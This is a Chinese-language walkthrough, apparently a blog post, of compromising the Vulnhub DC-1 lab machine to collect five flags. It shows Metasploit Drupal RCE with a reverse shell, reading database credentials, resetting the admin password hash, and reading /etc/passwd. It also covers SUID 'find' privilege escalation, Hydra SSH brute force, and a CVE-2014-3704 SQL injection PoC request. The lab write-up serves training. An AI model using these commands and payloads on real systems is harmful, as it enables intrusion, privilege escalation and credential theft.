前言
这是第三台靶机了,感觉这次的更有意思。该靶机存在有5个flag,跟省赛更贴近了,这次就跟着flag的顺序做出来吧。其实可以一步到位提权getFlag。
准备
知识点
- Drupal CMS远程代码执行漏洞(CVE-2018-7600)
- Drupal CMS Sql注入漏洞getshell(CVE-2014-3704)
- 查看网站配置文件获取数据库登陆账密
- 更改数据库hash值重置admin用户密码
- hydra爆破flag4用户的密码
- find suid提权
参考文章
drupal7官网:drupal7 密码重置
Reebuf:简谈SUID提权
csdn:DC-1 登录框的sql注入(不是本文重点,试了很多次只成功了一次)
工具
后面得养成习惯,将工具和靶机地址写到博客网站来(防忘记)
kali基本上都有
Vulnhub靶机下载
官网地址:https://www.vulnhub.com/entry/dc-1,292/
开始
信息收集
探测内网靶机ip地址
arp-scan -l
netdiscover -r 192.168.30.0/24
获得靶机IP:192.168.30.130
探测靶机开放端口
nmap -sS -T4 -v -O 192.168.30.130
80端口有开放,访问一下
长时间折腾中(密码爆破,sql注入,把功能点都试了一遍)…
kali识别网站cms
whatweb -v 192.168.30.130
浏览器插件Wappalyzer识别网站CMS
又是一轮长时间的折腾…
浏览器搜索这个CMS版本的漏洞,可别不搜,一搜,妈耶,这个CMS真是漏洞百出
一直在折腾哪个漏洞能用得上,来来去去,就只有两个能用得上。其他的要么就是用不上,要么就是要管理员密码远程RCE。而管理员密码我又爆破不出来,这个网站还有防御措施,我也是服了。搞了几下把我ip封了,又得快照(还好做了快照)
能用上的就下面两:
- Drupal CMS远程代码执行漏洞(CVE-2018-7600)
- Drupal CMS Sql注入漏洞getshell(CVE-2014-3704)(不知道是不是我的sqlmap原因,一直测不出来,弄了好几回偶然成功了一次之后就没有成功过了。)
MSF-Drupal CMS远程代码执行漏洞
直接上msf
msfdb run
search Drupal
以下这两个,都是可以通过该靶机的漏洞,主要以RCE为主,后面补上SQL注入
一步到位,设置好payload和靶机ip,getshell
use 1
set php/meterpreter/reverse_tcp
set rhosts 192.168.30.130
exploit
进入shell,然后使用python提供交互shell
shell
python -c 'import pty; pty.spawn("/bin/bash")'
查看目录,有一个很显眼的flag1.txt,查看来看看
ls
cat flag1.txt
cat flag1.txt
Every good CMS needs a config file - and so do you.
翻译:每一个好的CMS都需要一个配置文件,你也是。
意思是要我们寻找该CMS的配置文件
搜索引擎搜该CMS重要的配置文件… 怎么没人放配置文件路径(找了很久…)
ls sites/default
default.settings.php files settings.php
根据提示应该是settings.php文件,查看
cat sites/default/settings.php
获取数据库账密
flag2出现了
有一个数据库的连接配置,应该是要连接该数据库的。想到web站点有个登陆界面,直接冲,寻找admin用户的密码。
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
第一次,还因为输错密码登不上去,还以为是权限问题,这里又折腾了很久…
连接数据库…
mysql -udbuser -pR0ck3t
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| drupaldb |
+--------------------+
use drupaldb;
show tables;#直接锁定users表
+-----------------------------+
| Tables_in_drupaldb |
+-----------------------------+
| actions |
| authmap |
| batch |
| block |
| block_custom |
| block_node_type |
| block_role |
| blocked_ips |
|.... |
| users |
| users_roles |
| variable |
| views_display |
| views_view |
| watchdog |
+-----------------------------+
看样子,使用了某种加密算法
补充:drupal常用的密码加密方式是MD5格式,但是自从 7.0之后,因为安全性的问题将加密方式改成了hash加密,这里使用的应该是自定义的加密方式。
select * from users \G;
****************** 2. row ******************
uid: 1
name: admin
pass: $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
mail: admin@example.com
theme:
signature:
signature_format: NULL
created: 1550581826
access: 1550583852
login: 1550582362
status: 1
timezone: Australia/Melbourne
language:
picture: 0
init: admin@example.com
data: b:0;
重置mysql中的admin用户密码
网上搜索drupal7 密码重置:https://drupalchina.cn/node/1964
网站目录下的scripts目录中有一个自定义加密的php文件
先暂时推出mysql,重置admin管理员密码
php ./scripts/password-hash.sh 123456
hash: $S$DrlQBqDTMqPeUjwcC9Dwm7cRJ0ZUveSpKuGEMo7mfx9h6c/yHBgp
将以上hash值替换掉admin的密码部分,更新users表
update users set pass='$S$DrlQBqDTMqPeUjwcC9Dwm7cRJ0ZUveSpKuGEMo7mfx9h6c/yHBgp' where uid=1;
更改以后,登陆网站
登陆后,一段哗啦操作,找到了一个flag3
翻译:特殊的PERMS将有助于查找密码,但您需要执行该命令才能找到shadow中的内容。
虽然,这个网站后台没什么搞头(因为已经getshell不需要对后台有什么操作)
根据flag3提示,应该是要查看一下/etc/passwd文件
cat /etc/passwd
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash
存在一个flag4的用户,其实可以爆破的(后续操作会展示hydra爆破)
查看一下/home/flag4的文件(一开始我以为www-data用户访问不了,谁知道这个目录下对其他人可访问,有时候细节真的能决定成败)
ls /home/flag4
flag4.txt
#查看改flag4文件
cat /home/flag4/flag4.txt
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
翻译:你能用同样的方法在根目录中查找或访问标志吗?
可能但也许这并没有那么容易。或者可能是这样?
已经很明显了,要求我们访问root下的flag文件,只是我兜了个大圈绕过来这里,getshell以后直接可以提权访问了,但是如果要收集flag的话,还是得按照这个操作来,不然没分了怎么办?
权限提升-访问最终flag
查看可以提权的命令
find / -perm -u=s -type f 2>/dev/null
发现find命令可以提权,这个可以参考一篇文章,suid提权:https://www.freebuf.com/articles/web/272617.html
find / -exec "/bin/bash" -p \;
成功提权
bash-4.2# whoami
whoami
root
查看最终flag文件
cat /root/thefinalflag.txt
额外小知识-hydra爆破flag4用户密码
现在在参加23年香山网盾比赛…
查看kali自带的字典文件wordlists
wordlists
一个大字典rockyou.txt,一个小字典john.lst,实际情况可能需要自己准备特定的字典进行爆破,这里只是演示过程
开始爆破
hydra -l flag4 -P /usr/share/wordlists/john.lst 192.168.30.130 ssh -f
成功爆破出用户flag4,密码为:orange
使用ssh远程登陆
ssh flag4@192.168.30.130
额外小知识-Sql注入漏洞getshell(CVE-2014-3704)
2023年香山网盾已经结束,得分:100分,排名25/56,来之不易的成绩。首次参加攻防演练就是红队,能取得成绩已经跨出很大的一步,以后多参加此类型的项目。另外移动大楼的伙食是真的非常好。
这个sql注入,我不是很理解,手工测试的时候都是可以成功的,使用sqlmap跑就跑不出来,返回的是502的报错回显,难道是因为502的原因?
手工测试,name[*]字段的数组下标存在有sql注入,这个注入点第一次见,还是2014的洞。。
poc
POST /?q=node&destination=node HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a
使用bp发包查看结果,标红处已显示当前连接用户名,报错注入成功
打脸了…
这一次使用sqlmap居然跑出来了,之前咋整都硬是弄不出来…
sqlmap -r sql.txt --batch --dbs
使用msf搜索drupal,选中第三个
msf6 > search drupal
msf6 > use 2
设置远程目标地址
set rhosts 192.168.30.130
exploit
反弹shell成功,后面获取flag的步骤跟前面一致
总结
没有总结…
时间太久,不记得当时想法,后面有再补充